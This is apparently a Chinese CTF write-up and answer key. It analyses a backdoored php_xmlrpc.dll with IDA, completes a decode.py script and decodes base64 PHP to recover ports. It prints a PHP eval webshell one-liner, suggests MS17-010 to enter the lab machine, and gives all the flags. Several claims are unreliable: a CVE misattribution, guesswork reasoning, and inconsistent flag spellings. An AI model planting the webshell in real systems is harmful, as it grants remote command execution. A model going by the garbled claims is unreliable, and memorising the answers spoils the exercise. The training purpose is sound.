网络空间安全---远程代码执行渗透测试

                                                 -----XyLinzc

  1. 找出靶机桌面上文件夹1中的文件RCEBackdoor.zip,使用静态反编译工具IDA对该压缩包中的程序进行分析,根据提示来分析目标文件,将包含恶意代码基址偏移的范围作为Flag值提交(提交形式:0x1000XXXX-0x1000XXXX);

靶机的环境是Windows,又给出了用户名与密码

  • 用户名:administrator,密码:p@ssw0rd

        然后看靶机开放了哪些端口,用ftp,ssh,telnet,rdp进入

        或者用win7万能的漏洞mf17-010直接打入靶机后去桌面上找到文件并下载到本地即可

知识普及:

        绝对地址 = 基地址 + 偏移地址

        基地址 : 可以理解为内存地址的起始位,也就是第一位

        偏移地址 : 内存地址的最后一位减去基地址的值就是偏移地址,   也就是距离基地址的距离

        绝地地址 : 就可以理解为它就是定位内存地址一个十分重要的   地址,更通俗的说它就是个坐标,有了绝对地址,就可   以访问内存地址中的数据

有了以上的知识就可以分析此题目了

首先我们从包的名字开始分析,因为每个数据包都不会无缘无故的出这个名字

RCE Backdoor -->  远程代码执行后门

从名字可以看出它是一个后门程序

因为是zip文件,我们解压一下,发现是关于PHP的一些配置文件

那么看到后门与PHP以及题目所说的恶意代码,你是不是就会想到一句话木马

<?php @eval($_POST[“cmd”]);?>

OK,到这就已经分析出解题的部分思路了,但还不够,因为题目是让我们用静态反编译软件IDA对其解题,但那么多文件你该从那个文件入手解析呢,接下来又是知识普及:

在php-5.2.17与php-5.4.45中存在一些高危漏洞,但题目的要求是查找远程代码执行的漏洞,而诸多漏洞中PHP_XML_RPC为高危漏洞,那么我们就可以确定此漏洞就是PHP_XML_RPC(CVE-2014-3669)请求解析漏洞

那么找到关于此漏洞出现的配置文件:php_xmlrpc.dll

进入ext文件夹

再找到php_xml_rpc.dll文件

 

打开IDA工具,并将php_xmlrpc.dll拖入其中

提醒: 小白在写关于IDA解析程序的时候可以一上来就直接Shift + F12 进行字符串查找

打开文件按Shift + F12进行字符串查找,Alt + t进行字符串搜索,找出我们先前分析的一句话木马

 

找到后双击此字符串

进入到有关内存地址的界面

 

跳转到这个界面后,直接点击一句话木马后面的字符串,可以发现那条紫色的字符串后面有一个向上的箭头表示,这个表示跳转,双击它

跳转到这个界面后,将鼠标移到一句话木马的位置,然后想都不用想直接F5进行反汇编

 

来到这个界面后,就可以开始分析程序了,有程序给的关键字可以分析出这是用C语言写的

分析此程序,先将整个程序都浏览一遍,发现整个程序最关键的地方还是在有一句话木马的位置,那就在它的周边徘徊,发现有一个while语句,它的后面跟着一个数字1,学过编程的小伙伴应该都知道它暗藏着一个布尔值True,表示永远为真,如果没有类似于break跳出程序的话,那这个就是一个死循环就没有任何意义,但while程序体中有一个break,而它跳转的条件是一个类似于地址的东西,那么我们就可以大胆的猜测这个地方有很大的问题

 

接下来分析这段代码

在if语句里面想要达到跳出的条件就是v9的整型值要>=&unk_1000D66C

而v9的初始值又是asc_1000D028

出题人为了方便我们观察,就直接将内存地址写成了它的变量

跳出循环后的第一步就是一句话木马所在的位置

而一句话木马就是我们要找的东西

所以那条while语句中加的就是偏移地址的量,由此就可以推出基地址就是v9的初始值,而内存的末尾就是v9加完后的值,所以偏移地址的范围就是0x1000D028-0x1000D66C,偏移地址就是1000D66C - 1000D028 = 644 ,偏移地址就为 644,但答案要的是范围,所以Flag就为0x1000D028-0x1000D66C

Flag{ 0x1000D028-0x1000D66C }

  1. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于字符串拼接的函数名称作为Flag值提交;(提交形式:echo())

可以发现在一句化木马的最前方有一条函数,在C语言中他就是用于格式化打印拼接的函数

所以

Flag{ spprintf }

  1. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于格式化字符串的参数名称作为Flag值提交;(提交形式:%*)

在C语言中用于格式化的符号是%..

Eg:

#include<stdio.h>

Main()

{

char a[24]=”egxxx”;

printf(“%s”,”Hello World!”);

}

它输出的结果就是Hello World!

这个%s就表示的是以字符串的形式输出,并格式化之前的值,给它套上新的值

所以

Flag{ %s }

  1. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于字符串传参的参数名称作为Flag值提交;(提交形式:%*)

Eg:

#include<stdio.h>

Main()

{

char a[24]=”egxxx”;

scanf(“%s”,a);

print(“%s”,a);

}

这段代码输出的结果就是用户输入的结果

在C语言中%s也代表在传参的意思

所以

Flag{ %s }

  1. 找出靶机Windows7桌面上文件夹1中的decode.py文件并完善此文件,填写该文件当中空缺的F1、F2、F3、F4四个字符串,将四个字符串拼接后的内容作为Flag值提交;

到了我们激动人心的Python脚本环节了

首先我们还是从文件名开始分析

发现Python文件名为decode

Decode --> 解码

这个文件又出现于php_xmlrpc.dll文件之后,由此不难推出这个脚本就是解析php_xmlrpc.dll文件的

 

打开decode.py文件,发现导入了几个关键的库 ctypes,zlib,pefile

知识普及:

        ctypes库 : 这个库是Python与C语言的接口库,可以实现 Python与C语言代码之间的联系

        zlib库 : 这个库是用来数据解压缩的库,在这个库中常用的函  数也就compress(压缩)与decompress(解压)

        pefile : 这个库可用于分析Windows操作系统可执行文件(PE文 件)的组件和数据,而PE文件就是Windows操作系统上 的二进制格式文件,说白了这个库就是用于分析二进制 文件的库

通过以上的了解我们可以更加判断上面的php_xmlrpc.dll就是用C语言写的了,因为C语言是长用于底层开发的语言,而在Python导入的库中发现了ctypes库,所以就推断它是用C语言写的

 

我们发现F1是zlib库中的一个函数,而在zlib库中考的就是compress与decompress函数,又可以发现在这个自定义函数中的自定义函数名叫descrypt翻译过来的意思就是解密,所以不难推出此处的F1就应该填解压,所以就是decompress

分析出F1后接下来往下继续分析F2

F2是让我们填一个字符串,我们想一想,写这个Python脚本的意义是干什么的,是不是为了解压这个php_xmlrpc.dll文件,所以此处的答案就要去IDA分析出的源代码里去找,在去IDA里去找之前我们可以发现下面有个类似于地址相加的式子,我们就可以抱着它是基地址的心态去IDA中找寻答案

 

我们写题目就要去猜出题人的心思,题目是到第4题结束来到Python阶段的,而第4题的Flag为%s,你仔细的想一想这条命令拼接中除了v39那些地址先不看,就只剩下了一句话木马和aGzuncompress这个变量了,而这个变量又在一句话木马的后面,就感觉很有问题你知道吗,我们先前猜测F2的位置很可能是类似于基地址的东西,而我们看看第6题,用Python脚本解出了2个文件,而这个又是一个php的一句话后门,数据包又是用Python脚本解出的,

那是不是这个数据包就是黑客也就是出题人用一句话木马连接到靶机后上传的,那么我们就可以把这个当成进入靶机后的第一个命令,上传数据包到上传成功这整个数据流程都在一个内存地址当中,而在Python脚本中相加的那个十六进制数就是偏移地址,那么给出了偏移地址,想要得出数据包所在的相对地址就只需要一个基地址了,刚刚所我们把aGzuncompress当作进入靶机后的第一个命令的变量也就是内存单元的开始---基地址,所以双击它进入内存地址的界面

发现aGzuncompress中存储的值为gzuncompress,而gzuncomprss在PHP中又是用来解压缩的函数,正好对应了我们Python脚本中的zlib库

所以我们就大胆的推断这个gzuncompress就是一个基地址编码后的值,所以F2就应该填写gzuncompress

来分析F3

 

发现F3在with as 语句当中,这是一个创建新文件并写入的操作

+

知识普及:

        w : 在Python中表示只写模式,会清除原来的文件内容,如果没有 这个文件,将会创建一个新文件

        write : 在Python中是文件写入的操作,但它只能写入字符串形式 的文件

在上面的代码发现文件名与上面的decodedata_1这个变量相似

 

所以就可以判断此处F3应该填写decodedata_1这个变量,但是不急,因为在变量的后后面有一串十六进制数与我们之前填写的F1=decompress,而decompress的作用是解压,所以它解压出来的东西是类似与Bytes字节的写的,而刚刚在知识普及里说了,write只能写入字符串,所以我们在这还要把他强制转换成字符串在填写,强制转换字符串str(要强转的变量或值),所以F3应该填写str(decodedata_1)

因为compres_data1.txt与compres_data2.txt这个两个本地文件没有,而打开它的模式又是”w”,所以在执行完后会产生两个名为compres_data1.txt,compres_data2.txt的文件

我们发现F4与F3一样,所以就跟写F3的思路一样,去填写F4即可

所以F4应该填写str(dacodedata_2)

所以第5题的值为

Flag{ decompess.gzuncompress.str(decodedata_1).str(decodedata_2) }

  1. 执行decode.py后将生产两个文件,对第二个文件中内容进行分析并解码,将其中出现的端口列表中的所有端口号一招从小到大的顺序依次排列作为Flag值(如:21,22,23,80)提交;

利用写好的Python脚本去执行命令

格式> python/python3 Python脚本 参数

发现直接运行会报错,所以我们需要接一个参数,哪参数是什么呢,想一想我们写这个Python脚本是干什么的,是不是为了解压php_xmlrpc.dll这个文件,所以Python命令后面接的参数就是php_xmlrpc.dll文件的绝对路径

发现运行成功,而之前我们分析Python脚本时,说到,这个脚本运行后会产生两个新文件 compres_data1.txt 和 compres_data2.txt

而题目是让我们对第二个文件进行分析,这个文件又是txt文本,所以我们可以直接用cat去查看文件类容

cat 文件 : 查看文件类容

看见文件类容后,发现它是一个base64的编码,我们把它编码的部分复制下来,用echo配合base64 -d进行解密

echo 需解密的字符串 | base64 -d : base64解密

文件解出来后,这是个PHP代码,题目要我们找到端口号并从小到大排列,我们把代码翻遍后发现全文只有这个像端口信息,所以我们大胆的推测这个就是端口

所以第6题的值就为 Flag{ 53,80,8080,20123,40125 }

所以远程代码执行渗透测试的答案就为:

  1. Flag{ 0x1000D028-0x1000D66C }
  2. Flag{ spprintf }
  3. Flag{ %s }
  4. Flag{ %s }
  5. Flag{ decompress.gzuncompress.str(decodedata_1).str(decodedata_2)}
  6. Flag{ 53,80,8080,20123,40125 }

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值